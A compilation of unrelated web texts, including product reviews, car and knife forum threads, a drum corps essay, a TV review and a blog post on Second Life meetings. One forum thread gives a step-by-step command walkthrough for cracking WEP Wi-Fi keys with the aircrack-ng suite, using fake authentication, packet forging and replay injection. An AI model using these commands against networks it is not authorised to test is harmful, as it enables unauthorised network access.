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This unique design features an lock mechanism that's integrated directly into the chain, eliminating the weak point of padlock systems. The 7mm four-sided links made from 3t manganese steel for bombproof security. The ample 85cm (33.5") length makes it easy to lock up wheels and accessories too.
The lock itself features a hardened deadbolt design for extra holding power, and a high security disc-style cylinder that's pick and drill resistant.
The Kryptonite 785 Integrated Chain includes two keys and a protective Nylon cover.
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Solid lock, that even looks great. It's easy to use, although I now must carry another key on my chain. Length is great for one bike, but challenging for our two bikes. We have to position them just so to weave the chain into the typical bike rack. For now, the Kryptonite serves as an excellent repellent for would-be thieves and we bolster it with another longer cable lock, giving rise to yet another key on my chain. Having had our bikes fall victim to downtown bike thieves, we are glad to have the benefit of Kryptonite.
I like this lock a lot. It's not as cumbersome as the NYC big lock
- It's not as long not as heavy
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Due to the shorter length, you're not able to lock both wheels to frame without taking one of the wheels off. This seems like a worthy compromise to save on weight and size from the NYC lock.
I appreciate that the fabric cover protects from scratching the frame.
The security rating is technically lower than the NYC chain BUT to the common criminal, I would have to guess that just the looks alone say, Don't even try it scum bag.
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I'm not sure I completely understand your question. I too use an MTAC and am familiar with the bottom of the clips poking out a bit and printing. No one will ever notice. If the bottom of the belt clips are poking you instead of your pants, I don't see how removing the rubber bushings is gonna change that.
Furthermore, I think I have read of folks who have cut off the excess portion of the clips. This would seem to be a potentially better solution to your problem IMO.

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S&P said it will lower Bombardier's rating to double-B from double-B-plus due to the company's "significantly lower-than-expected" cash generation this year as customer advances and operating profit fell amid a weak global economy.
S&P maintained a stable outlook for the company, as it expects stable performance from the company's rail segment and an overall slight improvement in operating margins.
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Bought some used rims from an 03 DTS.. Insides are aluminum....using them for winters on my 06, seemed like better quality back then!! The 06 rims are steel on the inside.
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[QUOTE=teckguy;10721537]I looked at ........................that were flaking on the outer faces. The car I bought with only 40,000 KMS has never seen winter and has perfect chrome but suffered from blistering paint on the middles of the inside of the rims. ..................What gives with GMs paint/chrome process on these rims?
You mentioned that the car you bought with only 40,000 KM has never seen the winter (snow/salt). You mean to say that you acquired your vehicle from the sunny south or you have recently moved to Greater Toronto Area. So, where did the blisters come from?
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The bottom line is they don't make them like they used to. I don't have Chromes with my DTS, but my old 99 SLS had Chrome wheels that looked brand new with 194k miles on them. I have Alloys on my DTS and I'm looking to buy new wheels cause the corrosion on these things just kills me. Maybe I can buy old 70's Cadillac hubcaps for them. They would probably last longer. lol.
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Inside blisters were stone chips.... Yup 40k from a 92 year old... Garage stored all winter and is absolutely perfect shape... Not a scratch or dent.....inside smells like new to.... Nicest used car I've ever owned.
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trim on my bmw was looking a little rough so i sanded it all down
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yea thats what ive been thinking , if i do im doing it on the car not taking all that off running the risk of breaking them so any tips besides taping it off well, what kinda paint shld b used for this?
Any good quality spray pack should do. Do it indoors (if possible) and let the paint cure for as long as possible.
I used a brand called SEM color was Trim Black.... After one year no knicks or scrapes on it... next im sanding down my kidney grill and re painting it with the SEM brand (used krylon before and it didn't hold up so shwell).
yea im thinking i may keep the trim silver it looks pretty good in person pics dont do it justice and yea i gotta paint my grill up 2 its got a cpl nicks in it
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I start of with
airodump-ng -c 6 -w name --bssid bssid wlan0
Then for the injection i start of with the -1 0 command. (Don't know what it does though..)
aireplay-ng -1 0 -a bssid -h mymac wlan0
This only works sometimes though, and since I don't know what it does, I don't know why = / (If it doesn't work it just says "Sending Aithentication Request (Open System)) Over and over again.
aireplay-ng -3 -b bssid -h mymac wlan0
That last command doens't make the beacons nor the IV's go any faster..
Will try the -4 -5 command later on.
Thanks for any info about this.
if there are no clients on the network, my choice of attack would either be the --chopchop or the --fragment to get the data necessary for packetforge to build a custom ARP packet.
You could then spam this to the AP using aireplay-ng while sniffing with airodump ( filtered by BSSID of course)
I'll show you how I run a clientless attack but be aware this takes more time.
First ill Authenticate to make sure i can. Use your wireless interface as appropriate, mine is ath0 yours could be different.
Once I authenticate I run it again but this time I make it send the keep-alive packet every 30 seconds (because getting the right packet can take time I want to ensure I stay authenticated this may not be necessary)Code:aireplay-ng -1 0 -e ESSID -a APMAC -h MYMAC ath0
Next, I start looking for that ARP packet using a fragmentation techniqueCode:aireplay-ng -1 0 -q 30 -e ESSID -a APMAC -h MYMAC ath0
Hit Y when the screen promts.Code:aireplay-ng -5 -b APMAC -h MYMAC ath0
If that fails for too long you can try the chop chop technique its -4 instead of -5 and you switch the -b and -h around.
Once i get the right packet I use packetforge Note the *.xor fragment file
Then you want to use tcpdump(I forget exactly what this does, it has something to do with your forged packed used in the previous code.)Code:packetforge-ng -0 -a APMAC -h MYMAC -k 255.255.255.255 -l 255.255.255.255 -y fragmentfile.xor -w arp_request
Now is when you want to start Sniffing for those ivs so when we start the next part its already setup for usCode:tcpdump -n -vvv -e -s0 -r arp_request
Now we start forcing that AP to kick some serious packets out so we can catch all the ivsCode:airodump-ng -c CHANNEL -bssid APMAC -ivs -w capture ath0
Get a whole bunch I just let it run for a while. Theres a specific # you want to look for comparatively to the -bit encryption the AP is using but the more the better anyways.Code:aireplay-ng -2 -r arp_request ath0
Now we try to crack it!
If you didn't get enough ivs you can always read some more with the packets you made earlier!Code:aircrack-ng *.ivs -b APMAC
I'm always looking for suggestions myself, although I haven't even bothered with this wifi stuff for a while I am still open for suggestions and comments.
Now that I typed all that out I hope it all still applies, this is actually more for BT2 and I run off the cd not a HD.
The tcpdump command is not needed for this attack to work.
I'm wondering if there was something else you've done that didn't require the tcpdump command?


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Rigid societies and economic systems appear to function quite well for along time. However, they are subject to large collapses. Another problem appears when small collapses are suppressed. This also leads to large collapses.
China's apparently superior system is on the expressway to a supercritical meltdown. It can't handle small collapses. It's growth rate needs to be at least 8% per year to keep social unrest in check. This is not sustainable. China is going to crash hard.
I might add that many Western nations, including the U.S., are also on the expressway to a supercritical meltdown. Why?
The economic policies of many Western nations include suppressing recessions (small collapses). This suppression only leads to much bigger collapses.
Small collapses act to clear out inefficiencies, just like small brush fires clear out dead brush and dead trees. This is necessary to keep the system in order. Current U.S. policy is to do what it takes to eliminate the pain of recessions. This just puts us on the expressway to a big collapse.
In recent weeks, a speech on social unrest by a prominent Chinese scholar, Yu Jianrong, has been widely circulated on the internet in China. In it Mr Yu describes the emergence in recent years of a new type of social unrest, which he calls "venting incidents": brief, unorganised outbursts of public rage against the authorities or the wealthy. China's efforts to enforce "rigid stability", he argues, were not sustainable and could result in "massive social catastrophe". Even government officials, he notes, are giving warning in private of worse to come.


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AVON – Country music band "Blackhawk" is stopping for a performance in Avon tonight (Friday). They are the headliners for a concert at Joseph's in Avon. They're stopping for a show on their way to the Iowa State Fair.
The gates will open tonight at 7:30 p.m. The band Boomtown is playing from 8:00 until 10:00 p.m., with Blackhawk taking the stage at about 10:30 p.m.
Joseph's owner Shane Eastman is bringing the group to town to honor his deceased brother Joe.


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Hey guys and gals. I had some extra time, so I thought I would take the time to document and share the technique I use to cut out a visor from a welding shield for installation. I'm using one of my CW Deathwatch fiberglass helmets, but it's pretty much the same on any fiberglass helmet. This might be common practice with all of the experience around here, but I thought I'd post something just in case or for the new members. :thumbsup
Take it easy,
First I cut channels on each side of the helmet with this bit. Once the channels are cut, I usually go back over the channels with some 120 grit or so sandpaper to smooth out the channels...
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Next, I measure the width I'll need for the visor area on the helmet (I add 1/4" to each side to account for the channel). I apply blue painters tape (cleaner release) to the front of the welding visor, find the center line, trace the cut out visor area on the tape, and start marking for a symetrical visor. I usually leave about a 1/2" lip around the traced shape...
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Then I start cutting out the visor with a cut off wheel and the Dremel set at a low RPM speed that almost seems like it will stop if pressed too hard. A higher setting melts the visor material quickly and creates more burrs. I make an initial channel with a first pass and then finish up and cut through with a second pass. I then carefully sand off the burrs with some 120 grit...
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Now I have a perfectly fitted visor that is ready for glue-in installation, or I can drill out some holes for a removable visor installation using t-nuts, bolts, and acorn nuts...but that's a different tutorial! ;) Enjoy
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1a : a staff for holding the flax, tow, or wool in spinningb : woman's work or domain
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by Chris Atkinson, DCW staff
This article was originally published in the April 2009 edition of Drum Corps World (Volume 38, Number 1).
I guess I'm starting early this year. Maybe it's because of what happened last summer, which was very believable and incredibly fantastic. Of course, the economy weighs heavily on our souls; it has shifted our focus and made us question things.
Perhaps I want to live simpler now. I want to return to things that have always made me happy — that I know are rewarding to the people involved. For many reasons, I am setting aside time again this summer to volunteer with my drum corps. I am looking forward to it more than I can describe.
If you have a few moments to share with your favorite corps this summer, maybe you might enjoy spending some time with them behind the scenes.
I marched for three years in drum and bugle corps — one year, 1991, in the Phantom Regiment, the previous year in the cadet corps, and my first year, 1989, in the Quad City Knights.
The human mind is remarkably kind in its faculties, in that the difficulties of growing up and the pain one might experience in those struggles are largely shed over the years in favor of the lovely, longing glow of nights spent on the field under the lights with one's friends.
I remember vividly the cheering crowds. Fondly, I recall the volunteers who aided the corps and supported us on and off the field. They did anything and everything to make sure that the corps made its way down the road and back safely. Their smiles and selflessness were instructive for me.
In Phantom Regiment, they told us how important it was to say "thank you" and really mean it. I was grateful for the opportunity to march with the corps in the first place. I recognized how fragile our little group was, out on the road during the summer, depending on each other and our crew of volunteers. That feeling especially has never left me.
I've wanted to volunteer on tour with my corps ever since I left the field in '91. My wife even managed to take some time to go out on tour with the corps in 2006 — just to see what it was like to tour with a drum corps — before I managed to get my act together and make time to do it. She kind of made it obvious that I needed to make time if I wanted to accomplish the goal of volunteering with the corps and "giving back."
I was an avid follower of the corps' activities during the summer. I was a booster club member and supported the alumni association. While I knew that the group valued the support, it made me all the more intent on volunteering at some point, because I could see that everything that I loved about corps was still there.
Fans may complain about how the instrumentation is different, or how rules changes threaten the activity. But seeing the members and watching them put their show together, and how volunteers help make that possible with food trucks, souvies, truck driving and the like . . . all those things are the same.
Volunteering to work with a corps is a complex thing, though, in preparation for it — it really was not something where I could just "up and leave" at a moment's notice. If I wanted to take that kind of trip, I had to put work aside for awhile and use some leave time.
So last summer, after 17 years, I went out on tour with my drum corps, working in the food truck. I requested the time off from work (about 10 days on tour), got my luggage together and headed to meet the corps in Hutchinson, KS.
For those of you who marched, you will know about the packing process. I went to corps Web sites and got their lists for corps members of things to take on tour. I tried to pack just like I used to. I brought a sleeping bag and a pillow. It was like being 17 again.
I said goodbye to my mom and my sister after the show in Hutchinson — they were nice enough to join me for the show and drop me off for my tour fun — and off we went. But I was not riding a traditional tour bus like I remembered from my marching years. The corps had volunteer/staff buses with bunks, which were very comfortable. The corps made it clear that they take good care of their volunteers and staff, and they certainly made me feel very welcome.
The next day, I was awake bright and early, helping prepare three square meals and a snack in Ardmore, OK. The next day, Texas . . . a practice day and then the regional in San Antonio. Then Monroe, LA, Hattiesburg, MS, Alabama, Murfreesboro, TN, and finally to Georgia and the regional in Atlanta.
It was a lot of work and it is very hot in the South in the summertime, obviously. They were long days, but the corps was right there, all the time — there were many opportunities to see them and hear them practicing, not to mention watching the corps at their competitions. How amazing to watch their progress!
At some point — I think it was about day two for me — I got over the initial shock of not being behind a desk. Corps foodservice work is quite different than my regular job, but it became something that I actually welcomed doing. I wanted to make sure the members were fed well and on time.
In a larger sense, the corps' commitment to its members becomes one's commitment to them, whatever the job one is doing. For me, whether it was making cakes or cookies, or serving food out of the truck window, it became a pride thing.
When the time came for me to go back home, to my regular job, I didn't want to leave the corps. It's so orderly — so unlike regular life. Tasks, times, deadlines, all set for you — no competing priorities. Menus already written out well in advance; the feeling of nothing left to chance; the inevitability of success.
It's hard to leave. People at my job asked about why I would consider that a vacation — I can't imagine a better vacation!
As it turns out, I chose an excellent year to volunteer with the corps. What I remember most about the summer was the focus of the members. They were every bit the Phantom Regiment, even in July when I was volunteering.
Though the show was still in the process of coming together, it was obviously how talented the members were and how much they loved performing together. Perhaps more importantly, the members were all very mature and dedicated to the show and to respecting corps traditions.
I got the feeling that, in trying to make their summer about the corps and its legacy through the "Spartacus" program, they became even more their own group, the real embodiment of the corps' identity. I believe their grasp of the concept at finals dramatically exceeded any suspicions anyone outside the corps might have had at the outset of the season.
For my part, I feel honored even having been around such a group, let alone having had the privilege to work with them. Being able to be in the stands in Bloomington when they won, having given them some of my time, is a feeling that I would recommend to you. You will feel proud of your corps no matter where they place, of course, because their trip will be yours as a volunteer.
When I came home, I found my job, if not my life, had perspective it lacked before. The road changes things. It reminds you that what was valuable and timeless still is.
Perhaps my looking forward to the summer is obvious, then. These are difficult times. Volunteering with the Regiment not only allowed me to help out my drum corps (and we alumni, volunteers, staff, boosters, this corps truly belongs to all of us), it also gave me perspective.
To borrow a word commonly associated with Regiment, there is defiance in the very act of fielding a drum corps. Everything in the world may be crumbling, but your corps rises from the dust in the summer time, travels the nation in your stead, representing your traditions and taking on this unique identity.
To outsiders that think us crazy, what is so crazy about love? That is what this is, after all. What else could keep us all coming back every year like this? But running a corps is tremendously difficult work. The task could be overwhelming. But taken with many volunteers, the task is easier and more fun. The larger lessons are simple: if we all work together, maybe we can get through this and be successful.
Don't take more than you need. Give back. Focus on the simple things that make you happy. Remember the good times — there will be more good times. Drum corps makes that promise because it can.
I am writing this to you because I am grateful, for drum and bugle corps, for the Phantom Regiment and for volunteers generally who make it possible.
If you have time to give or need a little perspective, see if your favorite corps needs help.
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Newark, N.Y. -- A Wayne County man faces several charges after police said he sexually abused a female and threatened her with a knife.
Police accused Howard Ortiz, 49, of entering the victim's bedroom, putting tape on her mouth and threatening her before sexually abusing her.
The victim was treated for a cut on her hand. Ortiz was charged with rape, menacing, unlawful imprisonment, assault and criminal possession of a weapon.
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'Episodes' mocks TV marvelously
Even in summer, TV can be good for a laugh.
Or, in the happy case of Showtime's returning Episodes (* * * 1/2 out of four, Showtime, Sunday, 10:30 p.m. ET/PT), a lot of laughs. And most of them come at the expense of TV itself, which just adds to the pleasure.
Created by Jeffrey Klarik and Friends co-creator David Crane (who teamed with Klarik for The Class), Episodes is a sitcom satire about a smart British hit being dumbed down and destroyed by an American network and a big-name American star. Best of all, that star is Matt LeBlanc— playing a hilariously self-satisfied, sexually voracious and showbiz-savvy version of himself.
The series picks up four months after last season's finale with LeBlanc's fictional sitcom, Pucks, about to premiere — a decidedly mixed blessing for its creators, Sean and Beverly Lincoln (Stephen Mangan and Tamsin Greig). Pucks has brought them money and introduced them to the joys and horrors of Hollywood. But it's also put their marriage in danger, thanks to Beverly's much-repented sexual slip-up with LeBlanc. So now the couple is separated, and neither wants to have anything to do with their star.
What that sets up is a nine-episode comedy miniseries, as Beverly tries to save her marriage, Matt tries to recover their friendship, and they all battle to keep Pucks on the air. Which won't be easy, as the show is terrible and is losing the support of the incredibly duplicitous head of the network, Merc (John Pankow) and his loyal assistant/mistress Carol (Kathleen Rose Perkins).
As smartly written as it is played, Episodes offers the comic pleasures, not just of clashing cultures, but of contrasting comic styles. On one side you have LeBlanc, who handles the big laughs and the broader humor, and does it so well, it serves as a reminder that he was under-appreciated during his years on Friends. A bit where he describes sex with a deaf woman is a tiny masterpiece of inappropriate humor and a tribute to his ability to say and do horrible things while still coming across as essentially decent and likable.
While LeBlanc goes big, Mangan and Greig handle the wry, more understated moments, and in stellar fashion. (Greig can do more with a look than some actors can do with entire scenes.) Whenever the humor threatens to spin out of control, Greig and Mangan arrive to ground it in reality, and even to inject a note of poignancy.
Like the network shows it so skillfully mocks, Episodes does have its problems. Some of the jokes can feel a little cheap, and though Sean and Beverly's separation does raise the dramatic stakes (and provide a basis for the sweet, growing friendship between Beverly and Carol), the longer it goes on, the more it begins to drag on the proceedings.
Luckily, while those issues can sometimes get in the way of the fun, they don't significantly diminish it. So just in case any of the network heads Episodes is mocking are watching, here's the lesson to take away:
Pucks is the show you too often give us. Episodes is the show we want.
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Yesterday a small group of Forrester analysts and research associates held a team meeting in Second Life to try to figure out whether meeting this way is a viable alternative to the usual teleconference. Teleconferences are terrible. While we're talking and listening, there's not much to look at but our computer screens (which are constantly blinking at us with new emails and IMs and reminders of all the tasks we haven't completed yet) so inevitably we end up multi-tasking. And in teams that have been around for a while people know each others' voices but not so for new teams. So when people on the call forget to introduce themselves before they say something, the first few words are lost while listeners try to figure out who's talking, and then the next few words lost while you try to recreate the first few words.
While we had some fun yesterday trying on free T-shirts, teleporting to otherworldly locations, and taking some carnival rides, the sentiment of most of the participants was that Second Life isn't really ready for prime time team meetings. If it was tough for us it will be tough for other information workers. Here's why:
- We were plagued with performance problems. One of the islands we visited was a large technology company's innovation area. We were booted out, one after the other. Some of us got a message saying the simulation we were visiting had closed down. Second Life hung. We had to restart — which can take five to ten minutes. Sometimes we experienced lags while trying to make our avatars walk or fly or teleport. Some of this was probably due to problems with the Second Life grid or specific simulations we were visiting. But it's a fact: for the optimal experience in Second Life you need lots of processing power and a high-powered video card. The standard issue Dell Latitude D620 we use at Forrester doesn't really cut it.
- The learning curve is high. Walking, flying, teleporting, searching for and traveling to locations, text chatting at the same time we were trying to move around — all this was new for most of us. We met on a free conference room island called Place To Meet, which is hosted by Crowne Plaza Hotels. To get there, some of us clicked on a Second Life URL in the Outlook meeting and went directly to the meeting room. Others searched for "Place To Meet" within Second Life and landed in the main reception area of the Crowne Plaza Hotels island. It took a while for people to find each other and the group to convene. We practiced teleporting by visiting well-known islands and while we got better at it after the third or fourth try, it was pretty frustrating overall, for many of us.
- Privacy — what'as that? If your organization or one of the participants in your in-world meeting doesn't have a private space in Second Life, your meeting — including VoIP conversations and text chats — is wide out in the open. Any avatar that happens to be walking or flying by can overhear what you are saying or read what you are typing. For our meeting yesterday, we never got any indication from Crowne Plaza Hotels whether the meeting room we had reserved would be closed down to the public during the time reserved it. We got the feeling that anybody could have wandered in off the grid. It's kind of like trying to talk business while standing in a crowded subway train. It just doesn't work.
- Without microphones and headset, the experience is disjointed. Most of us involved in this meeting didn't have microphones and headsets. We were dialed into an 800 number on the phone. So our avatars weren't connected with our voice conversations and the whole thing was kind of disjointed. After a while we put our phones on mute and tried to communicate using text chat, but that didn't work out too well either — we were too busy trying to figure out how to move our avatars to type text into the chat window.
But you know what? I'm going to keep on trying. I've talked with enough other people who have been able to use virtual worlds to replicate the experience of working physically alongside others, to allow people to work with and share digital 3D models of physical or theoretical objects, and to make remote training and counseling more realistic by incorporating non-verbal communication into same-time, different-place interactions. I believe in my gut that give it 3 years and the 3D Internet will be just as important to business and work as the Web is today.
And I'm going on more than faith. Tech companies like Cisco, IBM, Intel, and others are spending millions on virtual world technology. I have had two meetings with outside parties in Second Life within the past couple months and have another internal meeting scheduled there for next week. I can't make it to IBM's Lotusphere conference in person this January because I have a conflict, but I'll join the Second Life version of the event from my hotel room in Canada. Stay tuned for more research from Forrester on this area — including an upcoming report called "Getting Real Work Done In Virtual Worlds," co-authored with Paul Jackson.
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Comment from Claus Nehmzow (not verified) on Mon, 12/03/2007 - 19:08
Agree with the teething difficulties and the initial time spent on the technicalities. Only correction from my side is that you can actually make the text and VoIP conversations private, even if you are in a public space (but it's obviously not that obvious, which is another criticism of SL).We have done a number of very successful small and large scale international meetings in SL, but key advice is to get people to get the how-to things out of the way before the actual meeting. We usually offer orientation for newcomers a few hours before.Tomorrow, there is good example of a real conference, only in SL and the first one that people actually pay for. They also have extensive orientation and point out that you have to use headphone/mic for VoIP. Currently, the devil is in detail and in testing, if that's done it works really well, if not it's usually a disaster.Having said that, setting up a video conference or webcast isn't that trivial in my experience either. Only easy way is to email a powerpoint, have a voice call and say which page you are looking at.
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Comment from Erica Driver on Tue, 12/04/2007 - 12:54
Thank you Claus for this information and for taking the time to post your comment. I appreciate it and will look into the private voice chat capability next time I have a conversation in Second Life.
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Comment from Tim (not verified) on Wed, 01/02/2008 - 18:00
Come on guys, just because you are not very good at this isn't a reason to slam it. I bet you all call tech support when you try to get onto your office network!Yes, you would have problems with a large group on one sim, but the trick is to hold the event where 4 sims meet, that way 120 would not be a problem.While i doubt SL is the answer to the future ... don't dish it just because you don't have the email@example.com
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Comment from Erica Driver on Wed, 01/09/2008 - 08:27
Hi Tim,Thanks for your comment. To your point, we are beginners at this. We'll keep trying -- you bet we will -- because the potential for virtual worlds to address real business issues is enormous. But for business people to really grab on to virtual worlds as a way to meet, it has to become simpler to meet that way than to meet in other ways (e.g., phone, Web conference, instant message conversation).Regards,Erica
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He is <cough> - no longer a member.!! :wink:
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Sorry Bryan - poor attempt at excessive subtlety LOL!
He is <cough> - no longer a member.!! :wink:
I gathered as much. But I was completely unaware of any conflict there. I guess I must have slept through that thread. Oh well, at least I know now.
<looks around quickly to see who else is missing>
His leaving is not really a secret or a verboten subject; I just don't see any useful purpose in publishing all the boring details. It would just stir up trouble again. I wish him well....
Wow, hadn't heard of the Kershaw knockoffs. The 2 Kershaw I own appear to be genuine, but then I bought em from repuitable dealers , not a big box store.
Hope you guys get things straightened out.
Well, no return call from Kershaw today. We'll see what happens tomorrow.
Try them on phone again Bryan as it is now weekdays. I think an answer is needed.
Well guys, it seems Kershaw isn't interested.
I called them again on the 31st, and talked to a receptionist type person. She seemed to take me seriously, and tried to transfer me to someone. They weren't available and I left a voicemail. So far nobody has called me back.
I will definately give kershaw a second look, but I will go to a gun shop nearby that carries all manner of good quality knives, and take a look at a real one.
Hope Bryan maybe you'll still get some feedback. I'd rather hope they take this stuff seriously.
They should!!
I don't think they will call Back.
Just my SWAG on this is they contracted certain models of their knives to meet Wal-Marts demand out to China.
And probably catching various sorts of flack over it. That's why the silence you are getting from Kershaw. I'm readung that as a "No Comment" sort of thing.
What I hope will happen is that they will modernize and streamline US production to keep down costs along the lines that Buck has.
Whooops!!! forgot to log out of my girlfriends ID. Need to remember that when using her computer:wink:
My experience with Kershaw's customer service was excellent. They responded quickly and provided free replacements when my clip picked the mesh of my desk chair, and bent. My understanding is that a true Kershaw blade will have printed on the blade the model, the KAI USA patent, the location and month/year of manufacture. Ken Onion designs usually have Ken Onion's name on them, somewhere. On my early model Blur, it is on the scale. On my wife's Leek, it is on the blade. I checked our Scallion and Chive, and both blades have all the printing, and indicate they were made in the USA.
I know I'm late the post but the Scallion is the knife that I bought my dad for Christmas. He is starting to use it and comments that it is a great little knife. My mom told me in secret that he likes to practice opening it when he thinks nobody is around.
Haha - I am still practicing the opening - draw from left pocket requires an inversion about long axis and also about short - to enable the quick open, without slashing the hand!!
Man you guys, I don't know about any of this.....knives just scare me!!! you all carry one everyday? what in heavens for? have some cheese that needs slicing???
LOL!!!!!!!! OMG am I funny or what?..ugh...don't answer that
Hi, my first post. I bought this Kershaw and it is a great knife. They could be like Buck. In Wallie World you can buy a buck knife made in the USA and some made in China. I guess they are contracting out some of their work.